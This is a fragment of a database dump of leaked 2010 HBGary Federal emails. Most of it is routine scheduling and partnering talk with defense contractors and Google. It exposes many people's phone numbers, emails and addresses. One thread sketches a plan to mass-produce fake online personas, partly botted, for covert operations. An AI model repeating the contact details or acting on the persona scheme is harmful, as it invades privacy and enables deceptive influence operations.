offering.  We have a lot of experience is social media, as Bob can attest, mostly on the offensive side, which gives us a pretty good vantage point on how to better defend or at least monitor.\r\n\r\nI am also working on a more targeted customer white paper that explains what we have to offer on the offensive side, including how we can help red teams perform information reconnaissance and pen testing using social media.\r\n\r\nI will send the social media services marketing sheet when its finished.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4637,'aaron_hbgary_com/4637.html'),(8158,'2010-07-02','\"Mike Bradshaw\" <mbradshaw@google.com>','/aaron@hbgary.com/new/1297006357.M560709P14101Q3013.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Discussion','Aaron, tell Scott I said hello.  I&#39;m running to meetings most of the day...can you send me more specific customer information, and I&#39;ll try to have the right person get back to you asap.Mike\r\nOn Fri, Jul 2, 2010 at 8:54 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMike,\r\n\r\nI got your contact information from Scott Suhy.  I am putting together a team for a government effort and would like to discuss with you the possibilities of Google joining the team.  If interested please let me know when would be a good time to discuss.\r\n\r\n\r\nHappy 4th,\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Mike BradshawDirector, Google Federal703-955-3195\r\n\r\n',13160,'aaron_hbgary_com/13160.html'),(8159,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006357.M844125P14101Q3014.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Lunch location','Sounds good to me.AaronFrom my iPhoneOn Jul 2, 2010, at 9:54 AM, &quot;Robinson, Cassie&quot; &lt;Cassie.Robinson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron – we never came up with a location.  How about\r\nthe McCormick and Schmicks at Tysons?  \r\n\r\n \r\n\r\nCassie Robinson | Northrop Grumman Corporation\r\nIntelligence Integrated Customer Team\r\ntel 703-741-7781 | 1000 Wilson Blvd  | Suite 2300\r\n | Arlington, VA 22209\r\n \r\nTake a chance! All life is a chance. The man who goes furthest is generally the\r\none who is willing to do and dare. \r\nDale Carnegie\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5407,'aaron_hbgary_com/5407.html'),(8160,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006358.M407282P14101Q3016.eml','\"Frisbie, Robert P\" <Robert.Frisbie@mantech.com>','Re: Meeting on Wednesday','Great.  Looking forward to it.\r\n\r\nShould be interesting, my kids hate loud noises.\r\n\r\nHave a great weekend.\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Jul 2, 2010, at 9:55 AM, \"Frisbie, Robert P\"\r\n wrote:\r\n\r\n> Aaron\r\n>\r\n> You and I still need to meet wen in the scif.\r\n>\r\n> Have a great weekend.\r\n>\r\n> Bob\r\n>\r\n> ----- Original Message -----\r\n> From: Eifert, Eric J.\r\n> To: Aaron Barr \r\n> Cc: Frisbie, Robert P\r\n> Sent: Fri Jul 02 09:52:47 2010\r\n> Subject: RE: Meeting on Wednesday\r\n>\r\n> Aaron, I was gone this past Wed, I am back in the office next week and have you on my calendar.  I invited some of Bob\'s folks to this meeting as well so it is still a go.\r\n>\r\n> Thanks,\r\n>\r\n> Eric J. Eifert\r\n> Vice President, Cyber Defense Business Unit\r\n> ManTech Mission, Cyber and Technology Solutions\r\n> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n>\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, July 01, 2010 3:13 PM\r\n> To: Eifert, Eric J.\r\n> Cc: Frisbie, Robert P\r\n> Subject: Meeting on Wednesday\r\n>\r\n> Eric,\r\n>\r\n> I understand your going to be out of town on Wednesday.  I have a later meeting with Bob Frisbie.  Do you want to reschedule or is there someone else that would be good for me to meet with?  I am hearing from Bob Slapnik, our IC and DIB sales manager, that he is working with someone in your organization to integrate Active Defense into an IRAD.  If you have not seen Active Defense it would be worth a demo.  HBGary Federal is taking over the development of our Threat Management Center to build a more consolidated threat intelligence capability and partnering with SecDev to combine datasets.\r\n>\r\n> Sorry if this is spam but I do not see in my outbox that I sent this to you.  Attached is our general Information Security Services offerings.\r\n>\r\n> I am working on our Social Media services offerings which is focused on a 1 day familiarization course of social media (uses, risks, use cases, protective measures), and a social media security consulting service with an information exposure services offering.  We have a lot of experience is social media, as Bob can attest, mostly on the offensive side, which gives us a pretty good vantage point on how to better defend or at least monitor.\r\n>\r\n> I am also working on a more targeted customer white paper that explains what we have to offer on the offensive side, including how we can help red teams perform information reconnaissance and pen testing using social media.\r\n>\r\n> I will send the social media services marketing sheet when its finished.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',9457,'aaron_hbgary_com/9457.html'),(8161,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006358.M57209P14101Q3015.eml','\"Eifert, Eric J.\" <Eric.Eifert@mantech.com>,\"Eifert, Eric J.\" <Eric.Eifert@mantech.com>','Re: Meeting on Wednesday','Great see you then.\r\n\r\nFrom my iPhone\r\n\r\nOn Jul 2, 2010, at 9:52 AM, \"Eifert, Eric J.\"  wrote:\r\n\r\n> Aaron, I was gone this past Wed, I am back in the office next week and have you on my calendar.  I invited some of Bob\'s folks to this meeting as well so it is still a go.\r\n>\r\n> Thanks,\r\n>\r\n> Eric J. Eifert\r\n> Vice President, Cyber Defense Business Unit\r\n> ManTech Mission, Cyber and Technology Solutions\r\n> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n>\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, July 01, 2010 3:13 PM\r\n> To: Eifert, Eric J.\r\n> Cc: Frisbie, Robert P\r\n> Subject: Meeting on Wednesday\r\n>\r\n> Eric,\r\n>\r\n> I understand your going to be out of town on Wednesday.  I have a later meeting with Bob Frisbie.  Do you want to reschedule or is there someone else that would be good for me to meet with?  I am hearing from Bob Slapnik, our IC and DIB sales manager, that he is working with someone in your organization to integrate Active Defense into an IRAD.  If you have not seen Active Defense it would be worth a demo.  HBGary Federal is taking over the development of our Threat Management Center to build a more consolidated threat intelligence capability and partnering with SecDev to combine datasets.\r\n>\r\n> Sorry if this is spam but I do not see in my outbox that I sent this to you.  Attached is our general Information Security Services offerings.\r\n>\r\n> I am working on our Social Media services offerings which is focused on a 1 day familiarization course of social media (uses, risks, use cases, protective measures), and a social media security consulting service with an information exposure services offering.  We have a lot of experience is social media, as Bob can attest, mostly on the offensive side, which gives us a pretty good vantage point on how to better defend or at least monitor.\r\n>\r\n> I am also working on a more targeted customer white paper that explains what we have to offer on the offensive side, including how we can help red teams perform information reconnaissance and pen testing using social media.\r\n>\r\n> I will send the social media services marketing sheet when its finished.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',10873,'aaron_hbgary_com/10873.html'),(8162,'2010-07-02','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297006358.M650290P14101Q3017.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: Lunch location','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat &#8211; I will make reservations in Tom&#8217;s name.&nbsp; \r\n\r\n&nbsp;\r\n\r\ncsr\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Friday, July 02, 2010 10:02 AM\r\nTo: Robinson, Cassie\r\nSubject: EXTERNAL:Re: Lunch location\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSounds good to me.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 2, 2010, at 9:54 AM, &quot;Robinson, Cassie&quot; &lt;Cassie.Robinson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n&#8211; we never came up with a location.&nbsp; How about the McCormick and Schmicks\r\nat Tysons?&nbsp; \r\n\r\n&nbsp;\r\n\r\nCassie\r\nRobinson | Northrop Grumman Corporation\r\nIntelligence Integrated Customer Team\r\ntel 703-741-7781 | 1000 Wilson Blvd &nbsp;| Suite 2300\r\n&nbsp;| Arlington, VA 22209\r\n&nbsp;\r\nTake a chance! All life is a chance. The man who goes furthest is generally the\r\none who is willing to do and dare. \r\nDale Carnegie\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3815,'aaron_hbgary_com/3815.html'),(8163,'2010-07-02','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297006358.M915891P14101Q3018.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lunch: Aaron Barr/Tom Conroy','\r\n\r\n\r\n\r\n\r\nLunch: Aaron Barr/Tom Conroy\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, July 07, 2010 11:30 AM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: McCormick and Schmicks - 8484 Westpark Drive, #130&nbsp; McLean, VA&nbsp; 22102&nbsp; (703) 848-8000\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',4365,'aaron_hbgary_com/4365.html'),(8164,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006359.M145946P14101Q3019.eml','\"Mike Bradshaw\" <mbradshaw@google.com>','Re: Discussion','Thanks for quick reply. &nbsp;Its an Intel customer. &nbsp;Preferably I would like to talk in a scif but the first conversation doesn\'t have to be. &nbsp;I probably need to talk to someone that works or is fairly knowledgable of the intel community and more strategic in function. &nbsp;Vague I know, hope this helps.Thanks,AaronOn Jul 2, 2010, at 9:59 AM, Mike Bradshaw wrote:Aaron, tell Scott I said hello. &nbsp;I\'m running to meetings most of the day...can you send me more specific customer information, and I\'ll try to have the right person get back to you asap.Mike\r\nOn Fri, Jul 2, 2010 at 8:54 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMike,\r\n\r\nI got your contact information from Scott Suhy. &nbsp;I am putting together a team for a government effort and would like to discuss with you the possibilities of Google joining the team. &nbsp;If interested please let me know when would be a good time to discuss.\r\n\r\n\r\nHappy 4th,\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Mike BradshawDirector, Google Federal703-955-3195\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4691,'aaron_hbgary_com/4691.html'),(8165,'2010-07-02','\"Michael Geldner\" <mgeldner@google.com>','/aaron@hbgary.com/new/1297006359.M375468P14101Q3020.eml','aaron@hbgary.com,aaron@hbgary.com,','Re: Discussion','Mr. Barr,Mike Bradshaw requested that I follow up with you regarding your email below. Is there a convenient time that I can call you today? What number should I call?You can try to call me if it&#39;s more convenient for you (410-567-5361) but I may be on the road quite a bit today. I would prefer to be at a desk phone if we can find a mutually convenient time.\r\n\r\nThank you,-mikeMichael H. GeldnerFederal Account Manager\r\n\r\nGoogle410-567-5361--Read the new Google Apps Security white paper!\r\n\r\n--This email and the information it contains are confidential and may be privileged. If you have received this email in error please notify me immediately. You should not copy it for any purpose, or disclose its contents to any other person. Internet communications are not secure and, therefore, Google does not accept legal responsibility for the contents of this message as it has been transmitted over a public network. If you suspect the message may have been intercepted or amended please call me. \r\n\r\n\r\nOn Fri, Jul 2, 2010 at 10:32 AM, Mike Bradshaw &lt;mbradshaw@google.com&gt; wrote:\r\n\r\nMichael, can you check this out?  Phil is on vacation.Thanks.---------- Forwarded message ----------From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nDate: Fri, Jul 2, 2010 at 10:08 AMSubject: Re: DiscussionTo: Mike Bradshaw &lt;mbradshaw@google.com&gt;Thanks for quick reply.  Its an Intel customer.  Preferably I would like to talk in a scif but the first conversation doesn&#39;t have to be.  I probably need to talk to someone that works or is fairly knowledgable of the intel community and more strategic in function.  Vague I know, hope this helps.\r\n\r\n\r\nThanks,AaronOn Jul 2, 2010, at 9:59 AM, Mike Bradshaw wrote:Aaron, tell Scott I said hello.  I&#39;m running to meetings most of the day...can you send me more specific customer information, and I&#39;ll try to have the right person get back to you asap.\r\n\r\n\r\nMike\r\nOn Fri, Jul 2, 2010 at 8:54 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nMike,\r\n\r\nI got your contact information from Scott Suhy.  I am putting together a team for a government effort and would like to discuss with you the possibilities of Google joining the team.  If interested please let me know when would be a good time to discuss.\r\n\r\n\r\n\r\n\r\n\r\nHappy 4th,\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Mike BradshawDirector, Google Federal703-955-3195\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- Mike BradshawDirector, Google Federal703-955-3195\r\n\r\n\r\n',11241,'aaron_hbgary_com/11241.html'),(8166,'2010-07-02','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297006359.M614845P14101Q3021.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','RE: EXTERNAL:ATT','I have contacts at ATT if you want me to engage.\r\n\r\n',7267,'aaron_hbgary_com/7267.html'),(8167,'2010-07-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006389.M261605P14101Q3022.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Irregular Warfare Consolidated Support RFP','FYI --I got this today, is this someone you met, or did he just find us as an interested party on fedbizopps?---------- Forwarded message ----------From:  &lt;aflogistics@gmail.com&gt;\r\nDate: Fri, Jul 2, 2010 at 9:35 AMSubject: Irregular Warfare Consolidated Support RFPTo: \r\ndear all\r\n \r\ni am ex tank corps major and a security consultant and look forward to cooperation with you in the Irregular Warfare Consolidated Support Solicitation Number: W911W510R0010 job in Pakistan.\r\n\r\n\r\n \r\nmy CV and company profile is attached .\r\n \r\nkind regards\r\n \r\nAgha-- Agha H  Amin CEO TRANSOXIANAPresidentStrategicus IncChief Operating OfficerTrans Frontier Consultants\r\n\r\nTel- ++  92 308 4571789E Mail-  aflogistics@gmail.comhttp://trans-frontier-consultants.blogspot.com/\r\n\r\nhttp://aviation-resources-international.blogspot.com/http://strategicus-inc.blogspot.com/\r\n\r\nhttp://marine-cargo.blogspot.com/http://military-professionals.blogspot.com/\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',6805,'aaron_hbgary_com/6805.html'),(8168,'2010-07-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006392.M542082P14101Q3023.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Game Hacking / Botting Talk (Josh, a friend of Greg\'s)',' \r\nAaron,\r\n \r\nYou guys could corner the personas.  In fact, the personas are what matter, tools like anonymizer are just just mechanics.\r\n \r\n-Greg\r\nOn Thu, Jul 1, 2010 at 9:20 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nDo you have a copy?  Does Blackhat/Defcon give a reason for being declined?Any and all content you have around social media exploitation I would love to read.\r\nGoing back to a conversation about competing with Anonymizer.A huge missing piece of their offering is the personas.  They can do the management of multiple personas to consistent digital fingerprints, but what they don&#39;t do is manage the persona content, create the content.\r\nLets say you need a persona or two to perform an operation, you just can&#39;t create a digital entity that purports to be of X profession, with X job experience, etc. and then move out.  You have to plan for success, which means at some point someone is going to notice you and &quot;google&quot; you.  Someone needs to build a capability to create personas and maintain them in mass, so if someone needs an SW engineer that has worked in X industry - no problem.  But this is somewhat of a cart before the horse.  As a government we also don&#39;t have enough people yet that are comfortable operationally and competent technically.\r\nWhat would this capability entail.  Each persona would have a set of characteristics.  Based on those characteristics the persona would be involved in certain online activities, communicate in certain ways, etc.  Much of this would need to be botted out.\r\nAaron\r\n\r\n\r\nOn Jun 30, 2010, at 12:49 PM, Greg Hoglund wrote:&gt;&gt; Aaron,&gt;&gt; Josh, a friend of mine who now works at Kaspersky, wanted to pitch a game hacking talk at Defcon this year.  Josh has many years experience developing and selling &quot;back office&quot; bots to large scale chinese gold farming operations.  So, he knows the business as well as the tech, and has alot of war stories about botting wow over the years.  I joined up with him and we put a co-presentation together for Blackhat and Defcon both, and both talks were declined.  I think this talk has a great amount of value, however - especially considering your recent decision to grow the marketing around social media exploitation.\r\n&gt;&gt; -Greg\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n',14934,'aaron_hbgary_com/14934.html'),(8169,'2010-07-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006392.M993063P14101Q3024.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Drinks wed night 7pm in Reston','You aren\'t\r\n\r\n-----Original Message-----\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] \r\nSent: Thursday, July 01, 2010 9:01 PM\r\nTo: Aaron Barr\r\nCc: Penny Leavy; Bob Slapnik\r\nSubject: Re: Drinks wed night 7pm in Reston\r\n\r\nWould be awesome assuming I\'m not dbl booked.  I\'m a doll ATM under\r\nthe control of penny so I have no idea what will the she-panther has\r\nfor me that time.\r\n\r\n-Greg\r\n\r\n\r\nOn Thursday, July 1, 2010, Aaron Barr  wrote:\r\n> Greg,\r\n>\r\n> I am getting together with the OSD CIO Wednesday in Reston for drinks\r\n> and was wondering if your free to join us?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n\r\n',11606,'aaron_hbgary_com/11606.html'),(8170,'2010-07-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006395.M367841P14101Q3025.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: CID kick off meeting schedule','\r\n\r\n-----Original Message-----\r\nFrom: Nathan Atherley [mailto:nathan.atherley@farallon-research.com] \r\nSent: Tuesday, June 15, 2010 12:33 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Economou, George\'; jhayes@blackridge.us; \'Ray Owen\'; \'jack kretovics\'\r\nSubject: Re: CID kick off meeting schedule\r\n\r\nYes, we are planning on having meetings the 8th and 9th in DC.  Attached are\r\nsome instructions and a tentative schedule.\r\n\r\nNathan\r\n\r\n\r\n\r\nOn 6/15/2010 12:30 PM, Penny Leavy-Hoglund wrote:\r\n> Do we have any info yet?  I\'m trying to schedule something else around \r\n> this\r\n>\r\n> -----Original Message-----\r\n> From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\n> Sent: Wednesday, June 09, 2010 8:21 AM\r\n> To: Economou, George; jhayes@blackridge.us; Penny Leavy-Hoglund; Ray \r\n> Owen; jack kretovics\r\n> Subject: CID kick off meeting schedule\r\n>\r\n> Hello all,\r\n>\r\n> It seems as if everyone is available 8-9 July for a meeting in Crystal \r\n> City.  I will send out directions, some information on good \r\n> accomodations and a tentative schedule later this week.\r\n>\r\n> Please reserve the 8th and 9th!\r\n>\r\n> Thanks\r\n>\r\n> nathan\r\n>\r\n>\r\n>\r\n>    \r\n',286,'aaron_hbgary_com/286.html'),(8171,'2010-07-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006395.M608138P14101Q3026.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Slides for the 6th','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDO you have slides?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nrodney.riven@accenture.com [mailto:rodney.riven@accenture.com] \r\nSent: Friday, July 02, 2010 6:32 AM\r\nTo: penny@hbgary.com\r\nSubject: Slides for the 6th\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nRick Ricart is out today. Would it be possible to have the\r\nslides sent to me so that I can forward them on to Rick Smith?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nRodney Riven\r\n\r\n&nbsp;\r\n\r\nAccenture\r\n\r\nTechnical\r\nArchitect, Defense\r\n\r\n9432\r\nBaymeadows Road, Suite 155\r\n\r\nJacksonville,\r\nFL 32256\r\n\r\n&nbsp;work:\r\n904-899-0290 x1712\r\n\r\n&nbsp;cell:\r\n904-451-1205\r\n\r\nemail: rodney.riven@accenture.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis message\r\nis for the designated recipient only and may contain privileged, proprietary,\r\nor otherwise private information. If you have received it in error, please\r\nnotify the sender immediately and delete the original. Any other use of the\r\nemail by you is prohibited.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12923,'aaron_hbgary_com/12923.html'),(8172,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006395.M825331P14101Q3027.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Irregular Warfare Consolidated Support RFP','Not me.\r\n\r\nFrom my iPhone\r\n\r\nOn Jul 2, 2010, at 11:57 AM, Ted Vera  wrote:\r\n\r\n> FYI --\r\n>\r\n> I got this today, is this someone you met, or did he just find us as an\r\n> interested party on fedbizopps?\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: \r\n> Date: Fri, Jul 2, 2010 at 9:35 AM\r\n> Subject: Irregular Warfare Consolidated Support RFP\r\n> To:\r\n>\r\n>\r\n> *dear all*\r\n> * *\r\n> *i am ex tank corps major and a security consultant and look forward to\r\n> cooperation with you in the Irregular Warfare Consolidated Support\r\n> Solicitation Number: W911W510R0010 job in Pakistan.*\r\n> * *\r\n> *my CV and company profile is attached .*\r\n> * *\r\n> *kind regards*\r\n> * *\r\n> *Agha\r\n> *\r\n> --\r\n> Agha H  Amin\r\n>\r\n> CEO TRANSOXIANA\r\n> President\r\n> Strategicus Inc\r\n> Chief Operating Officer\r\n> Trans Frontier Consultants\r\n> Tel- ++  92 308 4571789\r\n> E Mail-  aflogistics@gmail.com\r\n> http://trans-frontier-consultants.blogspot.com/\r\n>\r\n> http://aviation-resources-international.blogspot.com/\r\n>\r\n> http://strategicus-inc.blogspot.com/\r\n>\r\n> http://marine-cargo.blogspot.com/\r\n>\r\n> http://military-professionals.blogspot.com/\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n> \r\n> \r\n> \r\n',1759,'aaron_hbgary_com/1759.html'),(8173,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006396.M24831P14101Q3028.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Slides for the 6th','I sent slides yesterday.From my iPhoneOn Jul 2, 2010, at 12:35 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nDO you have slides?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nrodney.riven@accenture.com [mailto:rodney.riven@accenture.com] \r\nSent: Friday, July 02, 2010 6:32 AM\r\nTo: penny@hbgary.com\r\nSubject: Slides for the 6th\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nPenny,\r\n\r\n \r\n\r\nRick Ricart is out today. Would it be possible to have the\r\nslides sent to me so that I can forward them on to Rick Smith?\r\n\r\n \r\n\r\nThanks,\r\n\r\n \r\n\r\nRodney Riven\r\n\r\n \r\n\r\nAccenture\r\n\r\nTechnical\r\nArchitect, Defense\r\n\r\n9432\r\nBaymeadows Road, Suite 155\r\n\r\nJacksonville,\r\nFL 32256\r\n\r\n work:\r\n904-899-0290 x1712\r\n\r\n cell:\r\n904-451-1205\r\n\r\nemail: rodney.riven@accenture.com\r\n\r\n \r\n\r\n\r\n\r\nThis message\r\nis for the designated recipient only and may contain privileged, proprietary,\r\nor otherwise private information. If you have received it in error, please\r\nnotify the sender immediately and delete the original. Any other use of the\r\nemail by you is prohibited.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13538,'aaron_hbgary_com/13538.html'),(8174,'2010-07-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006396.M259521P14101Q3029.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Slides for the 6th','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCan you send them to me?&nbsp; I think the other guy was out\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 02, 2010 9:47 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Slides for the 6th\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI sent slides yesterday.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 2, 2010, at 12:35 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDO you have slides?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: rodney.riven@accenture.com\r\n[mailto:rodney.riven@accenture.com]\r\n\r\nSent: Friday, July 02, 2010 6:32 AM\r\nTo: penny@hbgary.com\r\nSubject: Slides for the 6th\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nRick\r\nRicart is out today. Would it be possible to have the slides sent to me so that\r\nI can forward them on to Rick Smith?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nRodney\r\nRiven\r\n\r\n&nbsp;\r\n\r\nAccenture\r\n\r\nTechnical Architect, Defense\r\n\r\n9432 Baymeadows Road, Suite 155\r\n\r\nJacksonville, FL 32256\r\n\r\n&nbsp;work: 904-899-0290 x1712\r\n\r\n&nbsp;cell: 904-451-1205\r\n\r\nemail: rodney.riven@accenture.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis message\r\nis for the designated recipient only and may contain privileged, proprietary, or\r\notherwise private information. If you have received it in error, please notify\r\nthe sender immediately and delete the original. Any other use of the email by\r\nyou is prohibited.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5518,'aaron_hbgary_com/5518.html'),(8175,'2010-07-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006398.M712784P14101Q3030.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Greg','\r\n',15829,'aaron_hbgary_com/15829.html'),(8176,'2010-07-02','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006399.M293992P14101Q3032.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,mgeldner@google.com','Google Meeting','\r\n\r\n\r\n\r\n\r\nGoogle Meeting\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, July 14, 2010 2:00 PM-3:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF3 3D\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nMeeting with Mike Geldner from Google.\r\n\r\nMike,\r\n\r\nOur address is \r\n\r\nTASC Inc.\r\n\r\n4801 Stonecroft Blvd. , Chantilly, VA 20151\r\n\r\nMy contact number is 703-449-3964.&nbsp; \r\n\r\nWe will talk about Google Enterprise Partners and other things Google that are important to the COIN proposal.\r\n\r\n\r\n\r\nThanks,\r\n      Chris Clair\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 